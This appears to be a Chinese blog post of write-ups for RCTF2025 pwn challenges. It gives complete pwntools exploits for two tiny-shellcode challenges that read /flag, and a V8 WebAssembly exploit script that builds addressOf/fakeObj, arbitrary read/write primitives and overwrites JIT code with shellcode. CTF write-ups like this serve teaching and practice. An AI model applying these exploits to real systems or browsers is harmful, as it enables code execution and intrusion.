RCTF2025 PWN 部分题解

only

主菜单选 2.bookkeeping

输入那个神奇的 double:8.592564544313935e-246(魔数)

就会进 help 分支,出现:

  • 1.run your code
  • 2.get a gift

run your code 的逻辑是:

mmap 一块 RWX 内存;

先写一小段固定 stub;

再从 addr+0x2a 开始,读 10 字节你的 shellcode;

最后 (*addr)(),跳进这块 RWX 内存执行:

在栈上申请 0x100 临时空间,打印 "S\n" 表示进入 stage2;

把字符串 /flag 写到 buffer,

先用 openat(AT_FDCWD, "/flag", flags, mode) 打开,不行再用 open

打开成功后,read(fd, buf, 0x100) 把 flag 读入,再 write(1, buf, n) 打到 stdout

exp

from pwn import *
import re

context.update(arch='amd64', os='linux', log_level='debug')
BIN='./chal'
LIBC='./libc.so.6'
HOST = '101.245.98.115'
PORT = 26100

MAGIC = b'8.592564544313935e-246'

def stage1_10B():
 
    return b"\xE8\x00\x00\x00\x00\x5E\xB2\xF0\x0F\x05"

def build_stage2(strategy='ro'):
   
    if strategy == 'ro':
        flags_openat = "xor edx, edx"     # O_RDONLY
        mode_openat  = "xor r10d, r10d"
        flags_open   = "xor esi, esi"     # O_RDONLY
        mode_open    = "xor edx, edx"
    elif strategy == 'rw':
        flags_openat = "mov edx, 0x42"    # O_CREAT|O_RDWR
        mode_openat  = "mov r10d, 0x1a4"  # 0644
        flags_open   = "mov esi, 0x42"
        mode_open    = "mov edx, 0x1a4"
    else:
        raise ValueError("strategy must be 'ro' or 'rw'")

    asm_code = f"""
        nop
        nop
        nop
        nop
        nop

        sub rsp, 0x100
        mov rbx, rsp

        mov word ptr [rbx], 0x0a53
        mov eax, 1
        mov edi, 1
        mov rsi, rbx
        mov edx, 2
        syscall

        mov rax, 0x00000067616c662f     /* "/flag\\0\\0\\0" */
        mov [rbx], rax
        mov eax, 257
        mov edi, -100
        mov rsi, rbx
        {flags_openat}
        {mode_openat}
        syscall
        test rax, rax
        js  try_open

        jmp dump

    try_open:
        mov rax, 2
        mov rdi, rbx
        {flags_open}
        {mode_open}
        syscall
        test rax, rax
        js  fail

    dump:
        mov rdi, rax
        mov rsi, rbx
        mov edx, 0x100
        xor eax, eax
        syscall

        mov edx, eax
        mov eax, 1
        mov edi, 1
        mov rsi, rbx
        syscall

        mov eax, 60
        xor edi, edi
        syscall

    fail:
        mov word ptr [rbx], 0x0a45
        mov eax, 1
        mov edi, 1
        mov rsi, rbx
        mov edx, 2
        syscall

        mov eax, 60
        xor edi, edi
        syscall
    """
    sc = asm(asm_code)
    assert len(sc) <= 0xF0, f"stage2 too long: {len(sc)}"
    return sc

def leak_canary_remote():
    #io = remote(HOST, PORT)
    io = process(BIN, env={b'LD_PRELOAD': LIBC})
    io.sendlineafter(b'3.exit', b'2')
    io.sendlineafter(b'input:', MAGIC)
    io.sendlineafter(b'Make a choice:', b'2')  
    canary = int(line.strip().split()[-1], 16)
    log.success(f'leaked canary = {hex(canary)}')
    io.sendline(b'0')
    io.recvuntil(b"sum:"); io.recvline()
    io.close()
    return canary

def run_shellcode_remote(strategy='ro'):
    #io = remote(HOST, PORT)
    io = process(BIN, env={b'LD_PRELOAD': LIBC})

    
    io.sendlineafter(b'3.exit', b'2')
    io.sendlineafter(b'input:', MAGIC)
    io.sendlineafter(b'Make a choice:', b'1')

   
    io.sendafter(b'your code:', stage1_10B())

    
    st2 = build_stage2(strategy=strategy)
    io.send(st2)

    io.interactive()

def main():
    try:
        leak_canary_remote()
    except:
        log.warning('leak_canary_remote() 失败')

    try:
        run_shellcode_remote(strategy='ro')
    except EOFError:
        run_shellcode_remote(strategy='rw') #rw

if __name__ == '__main__':
    main()

only_rev

和上道题一样,只不过这次只能写9字节shellcode

从大佬RoderickChan的博客得到启发:https://www.cnblogs.com/LynneHuan/p/17822153.html

当寄存器都是0的时候执行syscallrcx会被赋值

正好这道题就是这样,清空了所有寄存器(包括 RIP 相关的寄存器),正常的 Shellcode 根本写不下

利用这一点,可以构造shellcode如下:

shellcode_src = '''
syscall       /* 1. 触发系统调用 (2字节) */
mov rsi, rcx  /* 2. 把 RCX 的值给 RSI (3字节) */
mov dl, 0xff  /* 3. 把 DL 设为 255 (2字节) */
syscall       /* 4. 再次系统调用 (2字节) */
'''
# 总长度:2+3+2+2 = 9 字节。完美卡在限制内。
shellcode = asm(shellcode_src)
    

第一步:执行第 1 个 syscall

输入状态: RAX=0, RDI=0, RSI=0, RDX=0

动作: 执行 read(0, 0, 0)

实际没读入任何数据,RAX 返回值仍为 0(读取字节数为0)。但是 RCX 变成了当前代码段的地址(指向下一条指令 mov)。

第二步:mov rsi, rcx

把刚才白嫖到的地址 (RCX) 复制给 read 的参数寄存器 (RSI)。

结果: RSI 指向了我们输入的当前位置。

第三步:mov dl, 0xff (修改 RDX 低位)

read 需要读取长度。也就是把 RDX 从 0 变成 255 (0xff)。得到 RDX = 255。

第四步:执行第 2 个 syscall

RAX = 0 (第一步返回值保留下来的,刚好还是 read)

RDI = 0 (一直没变,还是 stdin)

RSI = 当前代码地址 (第二步设置的)

RDX = 255 (第三步设置的)

执行 read(0, current_addr, 255)

通过 Stage 1 的“自己覆盖自己”,我们现在拥有了 255 字节的空间,可以为所欲为了

payload = asm(
    'nop;' * 0x40 +                 # 1. NOP 滑梯
    'lea rsp, [rip+0x800];' +       # 2. 栈指针修复
    shellcraft.open('flag', 0, 0) + # 3. Open
    shellcraft.read('rax', 'rsp', 0x100) + # 4. Read
    shellcraft.write(1, 'rsp', 0x100)      # 5. Write
)
io.send(payload)

标准的 ORW 链

exp

from pwn import *
import struct

filename = './chal'
e = ELF(filename)

context.log_level = 'debug'
context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)

io = process(filename)
    
hex_value = 0xD0E0A0D0B0E0E0F
float_value = struct.unpack('d', struct.pack('Q', hex_value))[0]    
io.sendlineafter('3.', '2')
io.sendlineafter('input', "{:.100g}".format(float_value))
    
io.sendlineafter(':', '1')
    
shellcode_src = '''
syscall
mov rsi, rcx
mov dl, 0xff
syscall
'''
shellcode = asm(shellcode_src)
    
io.sendafter(':', shellcode)
    
payload = asm('nop;'*0x40 + 'lea rsp, [rip+0x800];' + shellcraft.open('flag', 0, 0) + shellcraft.read('rax', 'rsp', 0x100) + shellcraft.write(1, 'rsp', 0x100))
io.send(payload)
io.interactive()

no_check_WASM

var wasm_mode = 1;

if(wasm_mode){
    prefix = "../../";
    path = "test/mjsunit/wasm/wasm-module-builder.js";
    d8.file.execute(prefix + path);
}

var buf = new ArrayBuffer(8);
var f32 = new Float32Array(buf);
var f64 = new Float64Array(buf);
var u8 = new Uint8Array(buf);
var u16 = new Uint16Array(buf);
var u32 = new Uint32Array(buf);
var u64 = new BigUint64Array(buf);

function lh_u32_to_f64(l,h){
    u32[0] = l;
    u32[1] = h;
    return f64[0];
}
function f64_to_u32l(val){
    f64[0] = val;
    return u32[0];
}
function f64_to_u32h(val){
    f64[0] = val;
    return u32[1];
}
function f64_to_u64(val){
    f64[0] = val;
    return u64[0];
}
function u64_to_f64(val){
    u64[0] = val;
    return f64[0];
}

function u64_to_u32_lo(val){
    u64[0] = val;
    return u32[0];
}

function u64_to_u32_hi(val){
    u64[0] = val;
    return u32[1];
}

// function stop(){
//     console.log("stop...");
//     %SystemBreak();
// }

// function p(arg){
//     %DebugPrint(arg);
// }

function spin(){
    console.log("spin...");
    while(true){};
}

function stuck(){
    console.log("readline....");
    readline();
}

function hex(str){
    return str.toString(16).padStart(16,0);
}

function logg(str,val){
    console.log("[+] "+ str + ": " + "0x" + hex(val));
}

const builder = new WasmModuleBuilder();

// addressOf
builder.addFunction("addressOf", makeSig([kWasmExternRef], [kWasmI32]))
.exportFunc()
.addBody([
  kExprLocalGet, 0,        
  kExprBlock, kWasmI32,
    kExprBr, 0,
  kExprEnd,
]);

// fakeObj
builder.addFunction("fakeObj", makeSig([kWasmI32], [kWasmExternRef]))
.exportFunc()
.addBody([
  kExprBlock, 0x40,
    kExprLocalGet, 0,
    kExprReturn,
  kExprEnd,
  kExprUnreachable,
]);

builder.addFunction("leak_stack", makeSig([], [kWasmI64, kWasmI64, kWasmI64]))
.exportFunc()
.addBody([
  kExprI64Const, 0, 
]);

const structType = builder.addStruct([makeField(kWasmI64, true)]);

const cast_function = builder.addFunction("cast_i64_to_struct",makeSig([kWasmI64], [wasmRefType(structType)]))
.addBody([
  kExprLocalGet, 0,
]);

builder.addFunction("leak_cage_base", makeSig([kWasmExternRef], [kWasmI64]))
.exportFunc()
.addBody([
  kExprLocalGet, 0,        
  kExprBlock, kWasmI64,
    kExprBr, 0,
  kExprEnd,
]);

builder.addFunction("AAR", makeSig([kWasmI64], [kWasmI64]))
.exportFunc()  
.addBody([
  kExprLocalGet, 0,                              
  kExprCallFunction, cast_function.index,
  kGCPrefix, kExprStructGet,
  ...wasmUnsignedLeb(structType, kMaxVarInt32Size),
  ...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);

builder.addFunction("AAW", makeSig([kWasmI64, kWasmI64], []))
.exportFunc()
.addBody([
  kExprLocalGet, 0,
  kExprCallFunction, cast_function.index,
  kExprLocalGet, 1,
  kGCPrefix, kExprStructSet,
  ...wasmUnsignedLeb(structType, kMaxVarInt32Size),
  ...wasmUnsignedLeb(0, kMaxVarInt32Size),
]);

const instance = builder.instantiate();
let {addressOf, fakeObj, leak_stack, leak_cage_base, AAR, AAW} = instance.exports;

let stack_addr = leak_stack();
for(let i = 0; i < stack_addr.length; i++){
  logg("stack_addr["+i+"]", stack_addr[i]);
}
stack_value = stack_addr[0] << 32n | stack_addr[1];
logg("stack_value", stack_value);

// for(let i = 0; i < 10; i++){
//   let test = AAR(stack_value+1n+BigInt(i*0x8));
//   logg("test", test);
// }

let jit_code_addr = AAR(stack_value+1n);

let cage_base = leak_cage_base(instance) & ~0xffffffffn;
logg("cage_base", cage_base);
logg("jit_code_addr", jit_code_addr);

const wasm_bytes = new Uint8Array([
  0,97,115,109,1,0,0,0,1,5,1,96,1,126,0,3,2,1,0,7,7,1,3,112,119,110,0,0,10,81,1,79,0,66,200,146,158,142,163,154,228,245,2,66,234,132,196,177,143,139,228,245,2,66,143,138,160,202,232,152,228,245,2,66,234,200,197,145,157,200,214,245,2,66,234,130,252,130,137,146,228,245,2,66,234,208,192,132,137,146,228,245,2,66,216,158,148,128,137,146,228,245,2,26,26,26,26,26,26,26,11,0,13,4,110,97,109,101,1,6,1,0,3,112,119,110
]);
const mod = new WebAssembly.Module(wasm_bytes);
const instance_shellcode = new WebAssembly.Instance(mod);
const pwn = instance_shellcode.exports.pwn;

let offset_to_jit = 0x2959n;
let rop_addr = jit_code_addr+offset_to_jit;
// p(instance_shellcode);
logg("rop_addr", rop_addr);

var shellcode = [
  10416984888683040912n,
  10416984888683040912n,
  10416984888683040912n,
  10416984888683040912n,
  72340172838123592n,
  7521907171660923137n,
  302101820911791727n,
  17740191518968858660n,
  21732277098n
];

// var shellcode = [
// 0x4141414141414141n,
// 0x4141414141414141n,  
// ];q

pwn(0x1n);

for(let i = 0; i < shellcode.length; i++){
  AAW(jit_code_addr+offset_to_jit+BigInt(i*0x8)+1n-0x8n, shellcode[i]);
}
// stop();
pwn(0x1n);



// spin();
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇